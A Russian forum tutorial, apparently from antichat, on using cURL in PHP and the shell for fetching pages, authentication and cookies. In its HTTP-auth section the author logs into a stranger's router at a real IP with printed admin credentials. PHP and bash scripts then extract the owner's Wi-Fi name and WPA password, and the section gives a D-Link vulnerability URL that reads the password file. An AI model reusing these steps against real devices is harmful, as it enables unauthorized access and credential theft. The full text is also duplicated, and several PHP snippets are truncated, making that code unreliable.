BKeaton
21.06.2019, 12:38
Для чего нужна cURL
cURL отлично подходит для имитации действий пользователя в браузере.
Реальный практический пример: вам нужно перезагрузить роутер (модем) для смены IP адреса. Для этого нужно: авторизоваться в роутере, перейти к странице обслуживания и нажать кнопку «Перезагрузка». Если это действие нужно выполнить несколько раз, то процедуру нужно повторить. Согласитесь, делать каждый раз в ручную эту рутину не хочется. cURL позволяет автоматизировать всё это. Буквально несколькими командами cURL можно добиться авторизации и выполнения задания на роутере.
cURL удобен для получения данных с веб-сайтов в командной строке.
Ещё один практический пример: мы хотим реализовать показ общей статистики для нескольких сайтов. Если использовать cURL, то это становится вполне тривиальной задачей: с помощью cURL мы проходим аутентификацию на сервисе сбора статистики (если это требуется), затем (опять же командами cURL) получаем необходимые страницы, парсим нужные нам данные; процедура повторяется для всех наших сайтов, затем мы складываем и выводим конечный результат.
Т.е. случаи использования cURL вполне реальные, хотя, в большинстве, cURL нужна программистам, которые используют её для своих программ.
cURL поддерживает множество протоколов и способов авторизации, умеет передавать файлы, правильно работает с кукиз, поддерживает SSL сертификаты, прокси и очень многое другое.
cURL в PHP и командной строке
Мы можем использовать cURL двумя основными способами: в скриптах PHP и в командной строке.
Чтобы включить cURL в PHP на сервере, необходимо в файле php.ini раскомментировать строку
Код:
extension=php_curl.dll
А затем перезагрузить сервер.
На Linux необходимо установить пакет curl.
На Debian, Ubuntu или Linux Mint:
Код:
$ sudo apt-get install curl
На Fedora, CentOS или RHEL:
Код:
$ sudo yum install curl
Чтобы наглядно было видно разницу в использовании в PHP и в командной строке, будем одни и те же задачи выполнять дважды: сначала в скрипте PHP, а затем в командной строке. Постараемся при этом не запутаться.
Получение данных при помощи cURL
Получение данных при помощи cURL в PHP
Пример на PHP:
PHP:
Всё очень просто:
$target_url — адрес сайта, который нас интересует. После адреса сайта можно поставить двоеточие и добавить адрес порта (если порт отличается от стандартного).
curl_init — инициализирует новый сеанс и возвращает дискриптор, который в нашем примере присваивается переменной $ch.
Затем мы выполняем запрос cURL функцией curl_exec, которой в качестве параметра передаётся дискриптор.
Всё очень логично, но при выполнении этого скрипта, на нашей странице отобразиться содержимое сайта. А что если мы не хотим отображать содержимое, а хотим записать его в переменную (для последующей обработки или парсинга).
Чуть дополним наш скрипт:
PHP:
0) {
echo 'Ошибка curl: ' . curl_error($ch);
}
curl_close($ch);
?>
У нас появилась строчка curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);.
curl_setopt — задаёт опции. Полный список опций можно найти на этой странице: http://php.net/manual/ru/function.curl-setopt.php
$response_data = curl_exec($ch);
Теперь значение скрипта присваивается переменной $response_data, с которой можно проводить дальнейшие операции. Например, можно вывести её содержимое.
Строчки
PHP:
if
(
curl_errno
(
$ch
)
>
0
)
{
echo
'Ошибка curl: '
.
curl_error
(
$ch
)
;
}
служат для отладки, на случай возникновения ошибок.
Получение данных при помощи cURL в командной строке
В командной строке достаточно набрать
Код:
curl mi-al.ru
где вместо mi-al.ru — адрес вашего сайта.
Если нужно скопировать данные в переменную, а не выводить полученный результат на экран, то делаем так:
Код:
temp='curl mi-al.ru'
При этом всё равно выводятся некие данные:
https://forum.antichat.xyz/attachments/29024072/1561053042162.png
Чтобы они не выводились, добавляем ключ -s:
Код:
temp='curl -s mi-al.ru'
Можно посмотреть, что записалось:
Код:
echo $temp | less
Базовая аутентификация и аутентификация HTTP
Аутентификация, проще говоря, это введение имени пользователя и пароля.
Базовая аутентификация — это аутентификация средствами сервера. Для этого создаются два файла: .htaccess и .htpasswd
Содержимое файла .htaccess примерно такое
Код:
AuthName "Только для зарегистрированных пользователей!"
AuthType Basic
require valid-user
AuthUserFile /home/freeforum.biz/htdocs/.htpassw
Содержимое файла .htpasswd примерно такое:
Код:
mial:CRdiI.ZrZQRRc
Т.е. логин и хэш пароля.
При попытке получить доступ к запароленной папке, в браузере отобразиться примерно такое окно:
https://forum.antichat.xyz/attachments/29024072/1561053070348.png
HTTP аутентификация — это тот случай, когда мы вводим логин и пароль в форму на сайте. Именно такая аутентификация используется при входе в почту, на форумы и т. д.
https://forum.antichat.xyz/attachments/29024072/1561053096089.png
Базовая аутентификация cURL (PHP)
Есть сайт http://62.113.208.29/Update_FED_DAYS/, который требует от нас авторизоваться:
Пробуем наш первоначальный скрипт:
PHP:
0) {
echo 'Ошибка curl: ' . curl_error($ch);
} else {
echo $response_data;
}
curl_close($ch);
?>
Хотя скрипт и считает, что ошибки нет, но выводимый результат нам совсем не нравится:
https://forum.antichat.xyz/attachments/29024072/1561102439413.png
Добавляем две строки:
PHP:
curl_setopt
(
$ch
,
CURLOPT_HTTPAUTH
,
CURLAUTH_BASIC
)
;
curl_setopt
(
$ch
,
CURLOPT_USERPWD
,
"ru-board:ru-board"
)
;
Первой строкой мы задаём тип аутентификации — базовая. Вторая строка содержит имя и пароль через двоеточие (в нашем случае имя и пароль одинаковые — ru-board). Получилось так:
PHP:
0) {
echo 'Ошибка curl: ' . curl_error($ch);
} else {
echo $response_data;
}
curl_close($ch);
?>
[CODE]
Пробуем:
30946
Отлично!
Базовая аутентификация cURL (в командной строке)
Этого же самого в командной строке можно добиться одной строчкой:
[CODE]curl -u ru-board:ru-board http://62.113.208.29/Update_FED_DAYS/
Я не забыл указать тип аутентификации, просто в cURL базовый тип аутентификации является дефолтным.
В командной строке всё получилось так быстро, что от расстройства я написал вот такую программу. Она подключается к сайту и скачивает самое последнее обновление:
Bash:
temp
=
`curl -s -u ru-board:ru-board http://62.113.208.29/Update_FED_DAYS/ | grep -E -o 'Update_FED_201[0-9]{1}.[0-9]{2}.[0-9]{2}.7z' | uniq | tail -n 1`
;
curl
-o
$temp
-u ru-board:ru-board http://62.113.208.29/Update_FED_DAYS/
$temp
Буквально ещё несколькими командами можно добавить:
распаковку архива в указанный каталог;
запуск обновлений КонсультантПлюс (это обновления для него);
можно реализовать проверку — было ли уже скачено последнее доступное обновление или появилось новое;
добавить это всё в Cron для ежедневных обновлений.
HTTP аутентификация cURL
HTTP аутентификация cURL в PHP
Нам нужно знать:
адрес, куда отправлять данные для аутентификации
метод отправки GET или POST
логин
пароль
Иногда этих данных оказывается недостаточно. Давайте разберёмся.
Адрес, куда нужно отправить данные, можно взять из формы аутентификации. Например:
HTML:
Мы смотрим на свойство action. Т.е. конечной страницей является login.php. Нам нужен полный адрес, например такой http://188.35.8.64:8080/login.php
Здесь же мы находим и метод отправки: method="post"
Логин и пароль я тоже знаю: admin и qwerasdfzxcv
На всякий случай — это не мой роутер (и я не знаю чей), поэтому если вы хотите досадить именно мне, то не нужно пакостить на этом роутере.
Т.е. на сервер из формы передаётся строка LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv методом POST. Теоретически, наш предыдущий скрипт, в которое мы добавили новую строчку, должен работать. Т.е. должна происходить аутентификация.
PHP:
0) {
echo 'Ошибка curl: ' . curl_error($ch);
} else {
}
curl_close($ch);
?>
В скрипте новая строка
curl_setopt($ch, CURLOPT_POSTFIELDS, 'LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv');
Здесь curl_setopt — уже знакомая нам функция по установлению опций для cURL, CURLOPT_POSTFIELDS — эта имя опции, которую мы устанавливаем. CURLOPT_POSTFIELDSсодержит все данные, которые передаются методом POST. Ну и сама строчка LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv — это те самые данные, которые мы передаём.
Если внимательно изучить форму, то можно увидеть, что она содержит также и скрытые поля. А ещё данные могут обрабатываться или дополняться JavaScript'ами. Можно заняться изучением всего этого, но я предпочитаю более простой способ.
Я использую Wireshark. Эта программа предназначена для снифинга (перехвата) трафика. И именно в ней очень удобно смотреть, что же именно передаётся на сайт.
Посмотрите это крошечное видео:
Т.е. с адресом, куда передаются данные, я угадал. А вот передаваемая строка оказалась намного сложнее.
Я вписал верный параметр, а также чуть доработал скрипт, чтобы он не просто авторизовался, но и кое-что получал из роутера:
PHP:
0) {
echo 'Ошибка curl: ' . curl_error($ch);
} else {
$target_url2 = "http://188.35.8.64:8080/bsc_wlan.php";
$ch2 = curl_init($target_url2);
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, 1);
$response_data2 = curl_exec($ch2);
preg_match('|f.ssid.value = "(.*)";|', $response_data2, $results2);
$results2[0] = str_replace('f.ssid.value = "', '', $results2[0]);
$results2[0] = str_replace('";', '', $results2[0]);
echo "Имя wi-fi сети: $results2[0]
";
preg_match('|f_wpa.wpapsk1.value(.*)";|', $response_data2, $results3);
$results3[0] = str_replace('f_wpa.wpapsk1.value', '', $results3[0]);
$results3[0] = str_replace('="', '', $results3[0]);
$results3[0] = str_replace('";', '', $results3[0]);
echo "Пароль wi-fi сети: $results3[0]";
}
curl_close($ch);
?>
Кстати, если владелец обновит пароль (но не обновит прошивку), то новый пароль всегда можно посмотреть по адресу http://188.35.8.64:8080/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd
(Это общеизвестная уязвимость роутеров D-Link DIR-300, D-Link DIR-320, и D-Link DAP-1353).
HTTP аутентификация cURL в командной строке
Полный адрес, а также строку, которую нужно передать, мы уже знаем. Поэтому всё просто:
Код:
curl --data "ACTION_POST=LOGIN&FILECODE=&VERIFICATION_CODE=&LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv&login=Log+In+&VER_CODE=" http://188.35.8.64:8080/login.php
Думаю, всё и так понятно, т. к. эти сроки мы уже рассмотрели. Если кому-то непонятно — спрашивайте в комментариях.
Примером использования cURL для получения и парсинга данных может стать следующий набор команд:
Код:
curl -s --data "ACTION_POST=LOGIN&FILECODE=&VERIFICATION_CODE=&LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv&login=Log+In+&VER_CODE=" http://188.35.8.64:8080/login.php > /dev/null && echo -e "nn" && echo "Имя сети Wi-Fi" && curl -s http://188.35.8.64:8080/bsc_wlan.php | grep -E 'f.ssid.value = "(.)*";' | sed 's/f.ssid.value = "//' | sed 's/";//' && echo "Пароль сети Wi-Fi" && curl -s http://188.35.8.64:8080/bsc_wlan.php | grep -E 'f_wpa.wpapsk1.(.)*";' | sed 's/f_wpa.wpapsk1.value//' | sed 's/";//' | sed 's/="//'
https://forum.antichat.xyz/attachments/29024072/1561102834979.png
Сложные случаи авторизации: AJAX, JQuery, JavaScript и т.п.
Данные заголовок правильнее было бы написать так: «Сложные» случаи авторизации. Т.е. слово «сложные» взять в кавычки. Сложными они видятся только на первый взгляд, когда непонятно: куда происходит отправка, какие имена полей, что именно отправляется и т. д.
Но, на самом деле, все они сводятся к методам POST или GET. Чтобы понять, что именно отправляется, можно сохранить страницу с формой себе на диск и на кнопку отправки повесить функцию показа сформированных для отправки данных. Или ещё проще — как я, Wireshark'ом.
Если данные правильные, а аутентификация не происходит, то нужно копать в следующих направлениях:
задать верную строку реферера
задать «правильную» строку пользовательского агента.
Всё это можно сделать базовыми методами cURL, но я не буду на этом останавливаться. Урок получился и без того большим, а ведь я ещё хотел показать пару трюков с cURL.
Типсы и триксы cURL
cURL и получение кукиз помимо CURLOPT_COOKIEJAR
Думаю, уже стало понятно, что cURL правильно обрабатывает куки — сохраняет их, использует, когда сервер запрашивает, и т. д. Но иногда куки нужно сохранить. Для этого есть опция CURLOPT_COOKIEJAR, но воспользоваться ей можно не всегда. Этому и посвящён наш первый трюк.
Иногда из-за особенностей настройки PHP на сервере, нам недоступны такие опции как CURLOPT_COOKIEJAR (позволяет сохранить полученные куки в файл) и CURLOPT_COOKIEFILE (позволяет использовать куки из файла). Т.к. они говорят, что используя эти опции мы сможем стянуть любой файл с их сервера. Вот решение этой проблемы:
1) Не используем CURLOPT_FOLLOWLOCATION
2) Используем curl_setopt($ch, CURLOPT_HEADER, 1)
3) Собираем кукизы из заголовка header примерно так:
PHP:
preg_match_all
(
'|Set-Cookie: (.*);|U'
,
$content
,
$results
)
;
$cookies
=
implode
(
';'
,
$results
[
1
]
)
;
4) Задаём их используя curl_setopt($ch, CURLOPT_COOKIE, $cookies);
Второй совет. Из атакующих мы можем превратиться в жертву. Чтобы не стать жертвой атаки человек-по-середине, делаем так.
Пожалуйста, все, перестаньте устанавливать настройку CURLOPT_SSL_VERIFYPEER на false или 0. Если ваша установка PHP не имеет актуального комплекта корневых сертификатов CA, загрузите один на веб-сайте curl и сохраните его на ваш сервер:
http://curl.haxx.se/docs/caextract.html
Затем задайте путь в вашем файле php.ini file, например, на Windows:
Код:
curl.cainfo=c:phpcacert.pem
Отключение CURLOPT_SSL_VERIFYPEER позволяет осуществить атаку человек-по-середине (MITM), а это нам не надо!
Ну и последняя на сегодня подсказка. Знаете ли вы, что возможно большое количество асинхронных запросов curl?
Для этого можно использовать curl_multi_init. Подробности и пример кода в официальной документации http://php.net/manual/ru/function.curl-multi-init.php
Что ещё почитать про cURL
О cURL в PHP я бы рекомендовал официальную документацию — написано просто и много примеров.
http://php.net/manual/ru/ref.curl.php
Про cURL в командной строке
Код:
man curl
или
http://curl.haxx.se/docs/manual.html
Для чтения на русском языке также подготовлена вторая часть урока cURL: "Примеры команд cURL".
cURL отлично подходит для имитации действий пользователя в браузере.
Реальный практический пример: вам нужно перезагрузить роутер (модем) для смены IP адреса. Для этого нужно: авторизоваться в роутере, перейти к странице обслуживания и нажать кнопку «Перезагрузка». Если это действие нужно выполнить несколько раз, то процедуру нужно повторить. Согласитесь, делать каждый раз в ручную эту рутину не хочется. cURL позволяет автоматизировать всё это. Буквально несколькими командами cURL можно добиться авторизации и выполнения задания на роутере.
cURL удобен для получения данных с веб-сайтов в командной строке.
Ещё один практический пример: мы хотим реализовать показ общей статистики для нескольких сайтов. Если использовать cURL, то это становится вполне тривиальной задачей: с помощью cURL мы проходим аутентификацию на сервисе сбора статистики (если это требуется), затем (опять же командами cURL) получаем необходимые страницы, парсим нужные нам данные; процедура повторяется для всех наших сайтов, затем мы складываем и выводим конечный результат.
Т.е. случаи использования cURL вполне реальные, хотя, в большинстве, cURL нужна программистам, которые используют её для своих программ.
cURL поддерживает множество протоколов и способов авторизации, умеет передавать файлы, правильно работает с кукиз, поддерживает SSL сертификаты, прокси и очень многое другое.
cURL в PHP и командной строке
Мы можем использовать cURL двумя основными способами: в скриптах PHP и в командной строке.
Чтобы включить cURL в PHP на сервере, необходимо в файле php.ini раскомментировать строку
Код:
extension=php_curl.dll
А затем перезагрузить сервер.
На Linux необходимо установить пакет curl.
На Debian, Ubuntu или Linux Mint:
Код:
$ sudo apt-get install curl
На Fedora, CentOS или RHEL:
Код:
$ sudo yum install curl
Чтобы наглядно было видно разницу в использовании в PHP и в командной строке, будем одни и те же задачи выполнять дважды: сначала в скрипте PHP, а затем в командной строке. Постараемся при этом не запутаться.
Получение данных при помощи cURL
Получение данных при помощи cURL в PHP
Пример на PHP:
PHP:
Всё очень просто:
$target_url — адрес сайта, который нас интересует. После адреса сайта можно поставить двоеточие и добавить адрес порта (если порт отличается от стандартного).
curl_init — инициализирует новый сеанс и возвращает дискриптор, который в нашем примере присваивается переменной $ch.
Затем мы выполняем запрос cURL функцией curl_exec, которой в качестве параметра передаётся дискриптор.
Всё очень логично, но при выполнении этого скрипта, на нашей странице отобразиться содержимое сайта. А что если мы не хотим отображать содержимое, а хотим записать его в переменную (для последующей обработки или парсинга).
Чуть дополним наш скрипт:
PHP:
0) {
echo 'Ошибка curl: ' . curl_error($ch);
}
curl_close($ch);
?>
У нас появилась строчка curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);.
curl_setopt — задаёт опции. Полный список опций можно найти на этой странице: http://php.net/manual/ru/function.curl-setopt.php
$response_data = curl_exec($ch);
Теперь значение скрипта присваивается переменной $response_data, с которой можно проводить дальнейшие операции. Например, можно вывести её содержимое.
Строчки
PHP:
if
(
curl_errno
(
$ch
)
>
0
)
{
echo
'Ошибка curl: '
.
curl_error
(
$ch
)
;
}
служат для отладки, на случай возникновения ошибок.
Получение данных при помощи cURL в командной строке
В командной строке достаточно набрать
Код:
curl mi-al.ru
где вместо mi-al.ru — адрес вашего сайта.
Если нужно скопировать данные в переменную, а не выводить полученный результат на экран, то делаем так:
Код:
temp='curl mi-al.ru'
При этом всё равно выводятся некие данные:
https://forum.antichat.xyz/attachments/29024072/1561053042162.png
Чтобы они не выводились, добавляем ключ -s:
Код:
temp='curl -s mi-al.ru'
Можно посмотреть, что записалось:
Код:
echo $temp | less
Базовая аутентификация и аутентификация HTTP
Аутентификация, проще говоря, это введение имени пользователя и пароля.
Базовая аутентификация — это аутентификация средствами сервера. Для этого создаются два файла: .htaccess и .htpasswd
Содержимое файла .htaccess примерно такое
Код:
AuthName "Только для зарегистрированных пользователей!"
AuthType Basic
require valid-user
AuthUserFile /home/freeforum.biz/htdocs/.htpassw
Содержимое файла .htpasswd примерно такое:
Код:
mial:CRdiI.ZrZQRRc
Т.е. логин и хэш пароля.
При попытке получить доступ к запароленной папке, в браузере отобразиться примерно такое окно:
https://forum.antichat.xyz/attachments/29024072/1561053070348.png
HTTP аутентификация — это тот случай, когда мы вводим логин и пароль в форму на сайте. Именно такая аутентификация используется при входе в почту, на форумы и т. д.
https://forum.antichat.xyz/attachments/29024072/1561053096089.png
Базовая аутентификация cURL (PHP)
Есть сайт http://62.113.208.29/Update_FED_DAYS/, который требует от нас авторизоваться:
Пробуем наш первоначальный скрипт:
PHP:
0) {
echo 'Ошибка curl: ' . curl_error($ch);
} else {
echo $response_data;
}
curl_close($ch);
?>
Хотя скрипт и считает, что ошибки нет, но выводимый результат нам совсем не нравится:
https://forum.antichat.xyz/attachments/29024072/1561102439413.png
Добавляем две строки:
PHP:
curl_setopt
(
$ch
,
CURLOPT_HTTPAUTH
,
CURLAUTH_BASIC
)
;
curl_setopt
(
$ch
,
CURLOPT_USERPWD
,
"ru-board:ru-board"
)
;
Первой строкой мы задаём тип аутентификации — базовая. Вторая строка содержит имя и пароль через двоеточие (в нашем случае имя и пароль одинаковые — ru-board). Получилось так:
PHP:
0) {
echo 'Ошибка curl: ' . curl_error($ch);
} else {
echo $response_data;
}
curl_close($ch);
?>
[CODE]
Пробуем:
30946
Отлично!
Базовая аутентификация cURL (в командной строке)
Этого же самого в командной строке можно добиться одной строчкой:
[CODE]curl -u ru-board:ru-board http://62.113.208.29/Update_FED_DAYS/
Я не забыл указать тип аутентификации, просто в cURL базовый тип аутентификации является дефолтным.
В командной строке всё получилось так быстро, что от расстройства я написал вот такую программу. Она подключается к сайту и скачивает самое последнее обновление:
Bash:
temp
=
`curl -s -u ru-board:ru-board http://62.113.208.29/Update_FED_DAYS/ | grep -E -o 'Update_FED_201[0-9]{1}.[0-9]{2}.[0-9]{2}.7z' | uniq | tail -n 1`
;
curl
-o
$temp
-u ru-board:ru-board http://62.113.208.29/Update_FED_DAYS/
$temp
Буквально ещё несколькими командами можно добавить:
распаковку архива в указанный каталог;
запуск обновлений КонсультантПлюс (это обновления для него);
можно реализовать проверку — было ли уже скачено последнее доступное обновление или появилось новое;
добавить это всё в Cron для ежедневных обновлений.
HTTP аутентификация cURL
HTTP аутентификация cURL в PHP
Нам нужно знать:
адрес, куда отправлять данные для аутентификации
метод отправки GET или POST
логин
пароль
Иногда этих данных оказывается недостаточно. Давайте разберёмся.
Адрес, куда нужно отправить данные, можно взять из формы аутентификации. Например:
HTML:
Мы смотрим на свойство action. Т.е. конечной страницей является login.php. Нам нужен полный адрес, например такой http://188.35.8.64:8080/login.php
Здесь же мы находим и метод отправки: method="post"
Логин и пароль я тоже знаю: admin и qwerasdfzxcv
На всякий случай — это не мой роутер (и я не знаю чей), поэтому если вы хотите досадить именно мне, то не нужно пакостить на этом роутере.
Т.е. на сервер из формы передаётся строка LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv методом POST. Теоретически, наш предыдущий скрипт, в которое мы добавили новую строчку, должен работать. Т.е. должна происходить аутентификация.
PHP:
0) {
echo 'Ошибка curl: ' . curl_error($ch);
} else {
}
curl_close($ch);
?>
В скрипте новая строка
curl_setopt($ch, CURLOPT_POSTFIELDS, 'LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv');
Здесь curl_setopt — уже знакомая нам функция по установлению опций для cURL, CURLOPT_POSTFIELDS — эта имя опции, которую мы устанавливаем. CURLOPT_POSTFIELDSсодержит все данные, которые передаются методом POST. Ну и сама строчка LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv — это те самые данные, которые мы передаём.
Если внимательно изучить форму, то можно увидеть, что она содержит также и скрытые поля. А ещё данные могут обрабатываться или дополняться JavaScript'ами. Можно заняться изучением всего этого, но я предпочитаю более простой способ.
Я использую Wireshark. Эта программа предназначена для снифинга (перехвата) трафика. И именно в ней очень удобно смотреть, что же именно передаётся на сайт.
Посмотрите это крошечное видео:
Т.е. с адресом, куда передаются данные, я угадал. А вот передаваемая строка оказалась намного сложнее.
Я вписал верный параметр, а также чуть доработал скрипт, чтобы он не просто авторизовался, но и кое-что получал из роутера:
PHP:
0) {
echo 'Ошибка curl: ' . curl_error($ch);
} else {
$target_url2 = "http://188.35.8.64:8080/bsc_wlan.php";
$ch2 = curl_init($target_url2);
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, 1);
$response_data2 = curl_exec($ch2);
preg_match('|f.ssid.value = "(.*)";|', $response_data2, $results2);
$results2[0] = str_replace('f.ssid.value = "', '', $results2[0]);
$results2[0] = str_replace('";', '', $results2[0]);
echo "Имя wi-fi сети: $results2[0]
";
preg_match('|f_wpa.wpapsk1.value(.*)";|', $response_data2, $results3);
$results3[0] = str_replace('f_wpa.wpapsk1.value', '', $results3[0]);
$results3[0] = str_replace('="', '', $results3[0]);
$results3[0] = str_replace('";', '', $results3[0]);
echo "Пароль wi-fi сети: $results3[0]";
}
curl_close($ch);
?>
Кстати, если владелец обновит пароль (но не обновит прошивку), то новый пароль всегда можно посмотреть по адресу http://188.35.8.64:8080/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd
(Это общеизвестная уязвимость роутеров D-Link DIR-300, D-Link DIR-320, и D-Link DAP-1353).
HTTP аутентификация cURL в командной строке
Полный адрес, а также строку, которую нужно передать, мы уже знаем. Поэтому всё просто:
Код:
curl --data "ACTION_POST=LOGIN&FILECODE=&VERIFICATION_CODE=&LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv&login=Log+In+&VER_CODE=" http://188.35.8.64:8080/login.php
Думаю, всё и так понятно, т. к. эти сроки мы уже рассмотрели. Если кому-то непонятно — спрашивайте в комментариях.
Примером использования cURL для получения и парсинга данных может стать следующий набор команд:
Код:
curl -s --data "ACTION_POST=LOGIN&FILECODE=&VERIFICATION_CODE=&LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv&login=Log+In+&VER_CODE=" http://188.35.8.64:8080/login.php > /dev/null && echo -e "nn" && echo "Имя сети Wi-Fi" && curl -s http://188.35.8.64:8080/bsc_wlan.php | grep -E 'f.ssid.value = "(.)*";' | sed 's/f.ssid.value = "//' | sed 's/";//' && echo "Пароль сети Wi-Fi" && curl -s http://188.35.8.64:8080/bsc_wlan.php | grep -E 'f_wpa.wpapsk1.(.)*";' | sed 's/f_wpa.wpapsk1.value//' | sed 's/";//' | sed 's/="//'
https://forum.antichat.xyz/attachments/29024072/1561102834979.png
Сложные случаи авторизации: AJAX, JQuery, JavaScript и т.п.
Данные заголовок правильнее было бы написать так: «Сложные» случаи авторизации. Т.е. слово «сложные» взять в кавычки. Сложными они видятся только на первый взгляд, когда непонятно: куда происходит отправка, какие имена полей, что именно отправляется и т. д.
Но, на самом деле, все они сводятся к методам POST или GET. Чтобы понять, что именно отправляется, можно сохранить страницу с формой себе на диск и на кнопку отправки повесить функцию показа сформированных для отправки данных. Или ещё проще — как я, Wireshark'ом.
Если данные правильные, а аутентификация не происходит, то нужно копать в следующих направлениях:
задать верную строку реферера
задать «правильную» строку пользовательского агента.
Всё это можно сделать базовыми методами cURL, но я не буду на этом останавливаться. Урок получился и без того большим, а ведь я ещё хотел показать пару трюков с cURL.
Типсы и триксы cURL
cURL и получение кукиз помимо CURLOPT_COOKIEJAR
Думаю, уже стало понятно, что cURL правильно обрабатывает куки — сохраняет их, использует, когда сервер запрашивает, и т. д. Но иногда куки нужно сохранить. Для этого есть опция CURLOPT_COOKIEJAR, но воспользоваться ей можно не всегда. Этому и посвящён наш первый трюк.
Иногда из-за особенностей настройки PHP на сервере, нам недоступны такие опции как CURLOPT_COOKIEJAR (позволяет сохранить полученные куки в файл) и CURLOPT_COOKIEFILE (позволяет использовать куки из файла). Т.к. они говорят, что используя эти опции мы сможем стянуть любой файл с их сервера. Вот решение этой проблемы:
1) Не используем CURLOPT_FOLLOWLOCATION
2) Используем curl_setopt($ch, CURLOPT_HEADER, 1)
3) Собираем кукизы из заголовка header примерно так:
PHP:
preg_match_all
(
'|Set-Cookie: (.*);|U'
,
$content
,
$results
)
;
$cookies
=
implode
(
';'
,
$results
[
1
]
)
;
4) Задаём их используя curl_setopt($ch, CURLOPT_COOKIE, $cookies);
Второй совет. Из атакующих мы можем превратиться в жертву. Чтобы не стать жертвой атаки человек-по-середине, делаем так.
Пожалуйста, все, перестаньте устанавливать настройку CURLOPT_SSL_VERIFYPEER на false или 0. Если ваша установка PHP не имеет актуального комплекта корневых сертификатов CA, загрузите один на веб-сайте curl и сохраните его на ваш сервер:
http://curl.haxx.se/docs/caextract.html
Затем задайте путь в вашем файле php.ini file, например, на Windows:
Код:
curl.cainfo=c:phpcacert.pem
Отключение CURLOPT_SSL_VERIFYPEER позволяет осуществить атаку человек-по-середине (MITM), а это нам не надо!
Ну и последняя на сегодня подсказка. Знаете ли вы, что возможно большое количество асинхронных запросов curl?
Для этого можно использовать curl_multi_init. Подробности и пример кода в официальной документации http://php.net/manual/ru/function.curl-multi-init.php
Что ещё почитать про cURL
О cURL в PHP я бы рекомендовал официальную документацию — написано просто и много примеров.
http://php.net/manual/ru/ref.curl.php
Про cURL в командной строке
Код:
man curl
или
http://curl.haxx.se/docs/manual.html
Для чтения на русском языке также подготовлена вторая часть урока cURL: "Примеры команд cURL".